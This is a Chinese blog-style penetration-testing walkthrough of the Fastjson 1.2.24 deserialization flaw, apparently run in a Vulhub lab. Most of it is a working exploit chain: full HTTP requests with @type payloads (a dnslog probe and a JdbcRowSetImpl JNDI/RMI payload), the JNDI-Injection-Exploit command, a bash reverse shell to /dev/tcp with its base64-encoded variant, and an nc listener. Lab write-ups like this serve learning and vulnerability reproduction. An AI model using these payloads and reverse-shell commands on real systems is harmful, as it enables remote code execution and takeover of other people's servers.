渗透测试-Fastjson反序列化漏洞getshell

目录

前言

测试环境准备

dnslog测试

搭建rmi服务器&准备恶意类

引用JdbcRowSetImpl攻击

反弹shell$命令执行

总结


关键字:fastjson 1.2.24反序列化导致任意命令执行漏洞

注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络中攻击他人服务器。

前言

        最原始的需求是将字符串传参解析成json格式的数据 ,但json库不满足现有的功能(很多包都有这样的特点,妙用之法)还支持把字符串解析成javabean;在解析成jacabean的时候内部一些get方法可能被调用。且Fastjson 库还可以通过 @type 注解自动推断出对象对应的具体类型,从而正确地将 JSON 字符串转换成 Java 对象。

示例、

 String jsonString = "{\"@type\":\"json.Student\",\"age\":5,\"name\":\"Tom\",\"telephone\":\"123456\"}";
        JSONObject jsonObject = JSON.parseObject(jsonString);
        System.out.println(jsonObject);
        System.out.println(jsonObject.getClass());

输出

渗透测试-Fastjson反序列化漏洞getshell_第1张图片

然而在实际测试中,我发现不同的java类,fastjson库对其的处理方式还不同,就拿java.net.Inet4Address 这个类举例,{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}} fastjson最终会调用java.net.Inet4Address类中getByName方法 ,而且传入的host就是val这个dnslog地址。

渗透测试-Fastjson反序列化漏洞getshell_第2张图片

既然可以指定任意类实例化,而内部某些get方法可以调用,参数还控。 那这就可能引发一些安全上的问题。

本次测试利用fastjson反序列化漏洞,让目标主机执行命令反弹shell。

注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络攻击他人服务器。

测试环境准备

本次以来采用容器平台Vulhub,到Ubuntu虚拟机中vulhub/fastjson/1.2.24-rce目录中执行命令启动漏洞容器:docker-compose up-d

渗透测试-Fastjson反序列化漏洞getshell_第3张图片

访问站点

渗透测试-Fastjson反序列化漏洞getshell_第4张图片

dnslog测试

像这个服务以post的方式,打一个dnslog。payload准备:

dnslog:{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}

Content-Type: application/json //注意这个头要加上

渗透测试-Fastjson反序列化漏洞getshell_第5张图片

请求内容payload 参考

POST / HTTP/1.1
Host: 192.168.218.134:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 77

{"a":{"@type":"java.net.Inet4Address","val":"f6ac1ab5b7.ipv6.1433.eu.org.."}}

搭建rmi服务器&准备恶意类

1.本次采用JNDI-Injection-Exploit工具,直接一把梭哈。(下载地址:我也是在网上找到的)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "xxxxxxxxxxxxxxxxxxxxxxxxxx" -A "192.168.218.1"

 -C指定让目标主机执行的命令,-A为指定本地监听的IP

2.准备要执行的反弹shell命令

bash -i >& /dev/tcp// 0>&1

在实际的测试中,这条命令始终不成功无法反弹shell。我猜测可能在传输过程中有些字符被转码了。

解决方案:使用base64解码后以bash的方式执行。

将bash -i >& /dev/tcp/192.168.218.1/4444 0>&1 这样的命令base64编码放到下面的位置

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

在将这个命令被JNDI-Injection-Exploit工具 -C指定,生成rmi服务器。

3.nc在本机上监听4444端口,等待反弹shell的连接

引用JdbcRowSetImpl攻击

将生成rmi服务的地址放入到payload:dataSourceName值中

POST / HTTP/1.1
Host: 192.168.218.134:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 77

{
    "a":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://http://192.168.218.1:1099/nc78zv",
        "autoCommit":true
    }
}

把请求包打过去,观察JNDI-Injection-Exploit工具输出的信息

渗透测试-Fastjson反序列化漏洞getshell_第6张图片

和预期的一直,当服务器请求这个rmi服务时,rmi会返回一个恶意类的网络路径。之后服务器请求这个路径下载试图实例化这个恶意类。log a request to http:......

反弹shell$命令执行

这时查看我们的nc是否反弹了shell

渗透测试-Fastjson反序列化漏洞getshell_第7张图片

是否可以执行命令

渗透测试-Fastjson反序列化漏洞getshell_第8张图片

总结

        点点关注,纯手写。

你可能感兴趣的:(java代码审计,网络攻击复现,渗透测试_靶机实战,服务器,linux,前端,json,安全,网络安全)